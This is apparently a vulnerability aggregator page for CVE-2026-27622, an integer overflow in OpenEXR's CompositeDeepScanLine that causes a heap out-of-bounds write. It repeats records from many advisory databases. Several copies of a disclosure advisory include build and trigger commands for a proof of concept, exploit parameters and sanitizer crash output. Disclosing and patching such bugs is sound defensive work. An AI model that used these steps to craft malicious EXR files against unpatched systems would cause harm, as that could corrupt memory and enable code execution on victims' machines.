CVE-2026-27622
OpenEXR CompositeDeepScanLine integer-overflow leads to heap OOB write
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector<unsigned int> total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32. overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Active
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.4
OpenEXR CompositeDeepScanLine integer-overflow leads to heap OOB write
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector<unsigned int> total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32. overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.
- Record
CVE-2026-27622- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 7.4 High
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-787, CWE-190
- Updated
- 2026-11-02
EUVDEUVD-2026-9342
8.4
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector<unsigned int> total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32. overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.
- Record
EUVD-2026-9342- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-cr4v-6jm6-4963
8.4
OpenEXR's CompositeDeepScanLine integer-overflow leads to heap OOB write
Summary
Function: CompositeDeepScanLine::readPixels, reachable from high-level multipart deep read flows (MultiPartInputFile + DeepScanLineInputPart + CompositeDeepScanLine).
Vulnerable lines (src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp):
total_sizes[ptr] += counts[j][ptr];(line ~511)overall_sample_count += total_sizes[ptr];(line ~514)samples[channel].resize (overall_sample_count);(line ~535)
Impact: 32-bit sample-count accumulation wrap leads to undersized allocation, then decode writes with true sample volume, causing heap OOB write in generic_unpack_deep_pointers (src/lib/OpenEXRCore/unpack.c:1374) (DoS/Crash, memory corruption/RCE).
Attack scenario:
- Attacker provides multipart deep EXR with many parts and very large sample counts per pixel.
- Uses compression (RLE/ZIPS) to keep file size relatively small vs decode pressure.
- The overflow happens in composite sample accounting (
unsigned int), while pointer progression for decode uses larger counters and reaches out-of-bounds.
Tested on: OpenEXR 4.0.0-dev (commit 83449669402080874b25ff1fa740649a9e6ea064) but this code has existed since v2.3.0
Steps to reproduce
composite_deepscanline_poc_bundle.patch
PoC files used:
- Writer/generator:
poc/composite_deep_scanline_e2e_compressed_poc.cpp - Minimal high-level reader harness:
poc/simple_exr_reader.cpp
The reader harness intentionally mimics realistic app behavior: open EXR, iterate parts, select DEEPSCANLINE, add sources to CompositeDeepScanLine, bind a normal FrameBuffer, then call readPixels.
Build with ASAN/UBSAN:
cmake -S . -B build-asan \
-DOPENEXR_BUILD_POC=ON \
-DCMAKE_BUILD_TYPE=RelWithDebInfo \
-DCMAKE_C_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \
-DCMAKE_CXX_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \
-DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined' \
-DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined'
cmake --build build-asan --target composite_writer simple_exr_reader -j
Generate malicious file (decode-path focused profile):
ASAN_OPTIONS=detect_leaks=0 timeout 180s \
./build-asan/poc/composite_writer \
--profile low-ram \
--file /tmp/composite_decode_focus.exr
Trigger:
ASAN_OPTIONS=detect_leaks=0 timeout 30s \
./build-asan/poc/simple_exr_reader /tmp/composite_decode_focus.exr
ASAN builds are slower. If needed, a non-sanitized build + debugger is faster for iteration.
Example runs
Writer (abbrev):
❯ ./build-asan/poc/composite_writer
exploit math:
benign samples : 300
malicious parts : 86
malicious samples per part : 50000000
true total samples : 4300000300
uint32 overflow reached : yes
wrapped uint32 total : 5033004
composite Z/A alloc from wrap : 40264032 bytes (38.40 MiB)
per-part unpacked sample bytes : 300000000 bytes (286.10 MiB)
min parts to overflow (current benign/samples): 86
writing compressed multipart deep EXR: /tmp/composite_deep_scanline_e2e_compressed.exr
writing donor malicious part (50000000 samples)
copying malicious part 1/86 from donor chunk
...
file size: 26112896 bytes (24.90 MiB)
Reader ASAN crash:
❯ ./build-asan/poc/simple_exr_reader
reading /tmp/composite_overflow_optimized.exr with 16 deepscanline parts
=================================================================
==175024==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ed1a55d90b0 at pc 0x7ed1da7854f7 bp 0x7ffe8c83a680 sp 0x7ffe8c83a670
WRITE of size 4 at 0x7ed1a55d90b0 thread T0
#0 0x7ed1da7854f6 in generic_unpack_deep_pointers /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374
#1 0x7ed1da7623e9 in exr_decoding_run /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:664
#2 0x7ed1dbcb153b in run_decode…
- Record
GHSA-cr4v-6jm6-4963- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-787
- Updated
- 2026-11-02
NVD
8.4
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector<unsigned int> total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32. overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.
- Record
CVE-2026-27622- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - CVSS 3.1
- 7.4 High
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-787, CWE-190
- Updated
- 2026-11-02
OSV
8.4
OpenEXR CompositeDeepScanLine integer-overflow leads to heap OOB write
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector<unsigned int> total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32. overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.
- Record
CVE-2026-27622- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-787
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-27622
7.8
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector<unsigned int> total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32. overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.
- Record
DEBIAN-CVE-2026-27622- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
Show 42 moreShow less
OSVGHSA-cr4v-6jm6-4963
8.4
OpenEXR's CompositeDeepScanLine integer-overflow leads to heap OOB write
Summary
Function: CompositeDeepScanLine::readPixels, reachable from high-level multipart deep read flows (MultiPartInputFile + DeepScanLineInputPart + CompositeDeepScanLine).
Vulnerable lines (src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp):
total_sizes[ptr] += counts[j][ptr];(line ~511)overall_sample_count += total_sizes[ptr];(line ~514)samples[channel].resize (overall_sample_count);(line ~535)
Impact: 32-bit sample-count accumulation wrap leads to undersized allocation, then decode writes with true sample volume, causing heap OOB write in generic_unpack_deep_pointers (src/lib/OpenEXRCore/unpack.c:1374) (DoS/Crash, memory corruption/RCE).
Attack scenario:
- Attacker provides multipart deep EXR with many parts and very large sample counts per pixel.
- Uses compression (RLE/ZIPS) to keep file size relatively small vs decode pressure.
- The overflow happens in composite sample accounting (
unsigned int), while pointer progression for decode uses larger counters and reaches out-of-bounds.
Tested on: OpenEXR 4.0.0-dev (commit 83449669402080874b25ff1fa740649a9e6ea064) but this code has existed since v2.3.0
Steps to reproduce
composite_deepscanline_poc_bundle.patch
PoC files used:
- Writer/generator:
poc/composite_deep_scanline_e2e_compressed_poc.cpp - Minimal high-level reader harness:
poc/simple_exr_reader.cpp
The reader harness intentionally mimics realistic app behavior: open EXR, iterate parts, select DEEPSCANLINE, add sources to CompositeDeepScanLine, bind a normal FrameBuffer, then call readPixels.
Build with ASAN/UBSAN:
cmake -S . -B build-asan \
-DOPENEXR_BUILD_POC=ON \
-DCMAKE_BUILD_TYPE=RelWithDebInfo \
-DCMAKE_C_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \
-DCMAKE_CXX_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \
-DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined' \
-DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined'
cmake --build build-asan --target composite_writer simple_exr_reader -j
Generate malicious file (decode-path focused profile):
ASAN_OPTIONS=detect_leaks=0 timeout 180s \
./build-asan/poc/composite_writer \
--profile low-ram \
--file /tmp/composite_decode_focus.exr
Trigger:
ASAN_OPTIONS=detect_leaks=0 timeout 30s \
./build-asan/poc/simple_exr_reader /tmp/composite_decode_focus.exr
ASAN builds are slower. If needed, a non-sanitized build + debugger is faster for iteration.
Example runs
Writer (abbrev):
❯ ./build-asan/poc/composite_writer
exploit math:
benign samples : 300
malicious parts : 86
malicious samples per part : 50000000
true total samples : 4300000300
uint32 overflow reached : yes
wrapped uint32 total : 5033004
composite Z/A alloc from wrap : 40264032 bytes (38.40 MiB)
per-part unpacked sample bytes : 300000000 bytes (286.10 MiB)
min parts to overflow (current benign/samples): 86
writing compressed multipart deep EXR: /tmp/composite_deep_scanline_e2e_compressed.exr
writing donor malicious part (50000000 samples)
copying malicious part 1/86 from donor chunk
...
file size: 26112896 bytes (24.90 MiB)
Reader ASAN crash:
❯ ./build-asan/poc/simple_exr_reader
reading /tmp/composite_overflow_optimized.exr with 16 deepscanline parts
=================================================================
==175024==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ed1a55d90b0 at pc 0x7ed1da7854f7 bp 0x7ffe8c83a680 sp 0x7ffe8c83a670
WRITE of size 4 at 0x7ed1a55d90b0 thread T0
#0 0x7ed1da7854f6 in generic_unpack_deep_pointers /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374
#1 0x7ed1da7623e9 in exr_decoding_run /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:664
#2 0x7ed1dbcb153b in run_decode…
- Record
GHSA-cr4v-6jm6-4963- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-787
- Updated
- 2026-11-02
OSVJLSEC-2026-141
8.4
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector<unsigned int> total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32. overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.
- Record
JLSEC-2026-141- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVOESA-2026-1616
8.4
OpenEXR security update
OpenEXR is a high dynamic-range (HDR) image file format originally developed by Industrial Light & Magic for use in computer imaging applications.
Security Fix(es):
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector<unsigned int> total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32. overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.(CVE-2026-27622)
- Record
OESA-2026-1616- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
OSVOESA-2026-1617
8.4
OpenEXR security update
OpenEXR is a high dynamic-range (HDR) image file format originally developed by Industrial Light & Magic for use in computer imaging applications.
Security Fix(es):
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector<unsigned int> total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32. overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.(CVE-2026-27622)
- Record
OESA-2026-1617- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
OSVOESA-2026-1618
8.4
OpenEXR security update
OpenEXR is a high dynamic-range (HDR) image file format originally developed by Industrial Light & Magic for use in computer imaging applications.
Security Fix(es):
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector<unsigned int> total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32. overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.(CVE-2026-27622)
- Record
OESA-2026-1618- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
OSVOESA-2026-1619
8.4
OpenEXR security update
OpenEXR is a high dynamic-range (HDR) image file format originally developed by Industrial Light & Magic for use in computer imaging applications.
Security Fix(es):
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector<unsigned int> total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32. overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.(CVE-2026-27622)
- Record
OESA-2026-1619- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
OSVOESA-2026-1620
8.4
OpenEXR security update
OpenEXR is a high dynamic-range (HDR) image file format originally developed by Industrial Light & Magic for use in computer imaging applications.
Security Fix(es):
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector<unsigned int> total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32. overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.(CVE-2026-27622)
- Record
OESA-2026-1620- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
OSVOESA-2026-1685
8.4
OpenEXR security update
OpenEXR is a high dynamic-range (HDR) image file format originally developed by Industrial Light & Magic for use in computer imaging applications.
Security Fix(es):
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector<unsigned int> total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32. overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.(CVE-2026-27622)
- Record
OESA-2026-1685- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
OSVOESA-2026-1686
8.4
OpenEXR security update
OpenEXR is a high dynamic-range (HDR) image file format originally developed by Industrial Light & Magic for use in computer imaging applications.
Security Fix(es):
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector<unsigned int> total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32. overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.(CVE-2026-27622)
- Record
OESA-2026-1686- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
OSVOESA-2026-1687
8.4
OpenEXR security update
OpenEXR is a high dynamic-range (HDR) image file format originally developed by Industrial Light & Magic for use in computer imaging applications.
Security Fix(es):
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector<unsigned int> total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32. overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.(CVE-2026-27622)
- Record
OESA-2026-1687- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
OSVOESA-2026-1688
8.4
OpenEXR security update
OpenEXR is a high dynamic-range (HDR) image file format originally developed by Industrial Light & Magic for use in computer imaging applications.
Security Fix(es):
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector<unsigned int> total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32. overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.(CVE-2026-27622)
- Record
OESA-2026-1688- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
OSVOESA-2026-1689
8.4
OpenEXR security update
OpenEXR is a high dynamic-range (HDR) image file format originally developed by Industrial Light & Magic for use in computer imaging applications.
Security Fix(es):
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector<unsigned int> total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32. overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.(CVE-2026-27622)
- Record
OESA-2026-1689- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
OSVPYSEC-2026-2846
8.4
OpenEXR's CompositeDeepScanLine integer-overflow leads to heap OOB write
Summary
Function: CompositeDeepScanLine::readPixels, reachable from high-level multipart deep read flows (MultiPartInputFile + DeepScanLineInputPart + CompositeDeepScanLine).
Vulnerable lines (src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp):
total_sizes[ptr] += counts[j][ptr];(line ~511)overall_sample_count += total_sizes[ptr];(line ~514)samples[channel].resize (overall_sample_count);(line ~535)
Impact: 32-bit sample-count accumulation wrap leads to undersized allocation, then decode writes with true sample volume, causing heap OOB write in generic_unpack_deep_pointers (src/lib/OpenEXRCore/unpack.c:1374) (DoS/Crash, memory corruption/RCE).
Attack scenario:
- Attacker provides multipart deep EXR with many parts and very large sample counts per pixel.
- Uses compression (RLE/ZIPS) to keep file size relatively small vs decode pressure.
- The overflow happens in composite sample accounting (
unsigned int), while pointer progression for decode uses larger counters and reaches out-of-bounds.
Tested on: OpenEXR 4.0.0-dev (commit 83449669402080874b25ff1fa740649a9e6ea064) but this code has existed since v2.3.0
Steps to reproduce
composite_deepscanline_poc_bundle.patch
PoC files used:
- Writer/generator:
poc/composite_deep_scanline_e2e_compressed_poc.cpp - Minimal high-level reader harness:
poc/simple_exr_reader.cpp
The reader harness intentionally mimics realistic app behavior: open EXR, iterate parts, select DEEPSCANLINE, add sources to CompositeDeepScanLine, bind a normal FrameBuffer, then call readPixels.
Build with ASAN/UBSAN:
cmake -S . -B build-asan \
-DOPENEXR_BUILD_POC=ON \
-DCMAKE_BUILD_TYPE=RelWithDebInfo \
-DCMAKE_C_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \
-DCMAKE_CXX_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \
-DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined' \
-DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined'
cmake --build build-asan --target composite_writer simple_exr_reader -j
Generate malicious file (decode-path focused profile):
ASAN_OPTIONS=detect_leaks=0 timeout 180s \
./build-asan/poc/composite_writer \
--profile low-ram \
--file /tmp/composite_decode_focus.exr
Trigger:
ASAN_OPTIONS=detect_leaks=0 timeout 30s \
./build-asan/poc/simple_exr_reader /tmp/composite_decode_focus.exr
ASAN builds are slower. If needed, a non-sanitized build + debugger is faster for iteration.
Example runs
Writer (abbrev):
❯ ./build-asan/poc/composite_writer
exploit math:
benign samples : 300
malicious parts : 86
malicious samples per part : 50000000
true total samples : 4300000300
uint32 overflow reached : yes
wrapped uint32 total : 5033004
composite Z/A alloc from wrap : 40264032 bytes (38.40 MiB)
per-part unpacked sample bytes : 300000000 bytes (286.10 MiB)
min parts to overflow (current benign/samples): 86
writing compressed multipart deep EXR: /tmp/composite_deep_scanline_e2e_compressed.exr
writing donor malicious part (50000000 samples)
copying malicious part 1/86 from donor chunk
...
file size: 26112896 bytes (24.90 MiB)
Reader ASAN crash:
❯ ./build-asan/poc/simple_exr_reader
reading /tmp/composite_overflow_optimized.exr with 16 deepscanline parts
=================================================================
==175024==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ed1a55d90b0 at pc 0x7ed1da7854f7 bp 0x7ffe8c83a680 sp 0x7ffe8c83a670
WRITE of size 4 at 0x7ed1a55d90b0 thread T0
#0 0x7ed1da7854f6 in generic_unpack_deep_pointers /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374
#1 0x7ed1da7623e9 in exr_decoding_run /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:664
#2 0x7ed1dbcb153b in run_decode…
- Record
PYSEC-2026-2846- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
OSVRHSA-2026:12338
7.4
Red Hat Security Advisory: OpenEXR security update
- Record
RHSA-2026:12338- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:12339
7.4
Red Hat Security Advisory: OpenEXR security update
- Record
RHSA-2026:12339- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:12340
7.4
Red Hat Security Advisory: OpenEXR security update
- Record
RHSA-2026:12340- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:12341
7.4
Red Hat Security Advisory: OpenEXR security update
- Record
RHSA-2026:12341- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:7678
7.4
Red Hat Security Advisory: openexr security update
- Record
RHSA-2026:7678- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:7682
7.4
Red Hat Security Advisory: openexr security update
- Record
RHSA-2026:7682- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:8863
7.4
Red Hat Security Advisory: OpenEXR security update
- Record
RHSA-2026:8863- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:8869
7.4
Red Hat Security Advisory: openexr security update
- Record
RHSA-2026:8869- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:8870
7.4
Red Hat Security Advisory: openexr security update
- Record
RHSA-2026:8870- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:8871
7.4
Red Hat Security Advisory: openexr security update
- Record
RHSA-2026:8871- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:8872
7.4
Red Hat Security Advisory: openexr security update
- Record
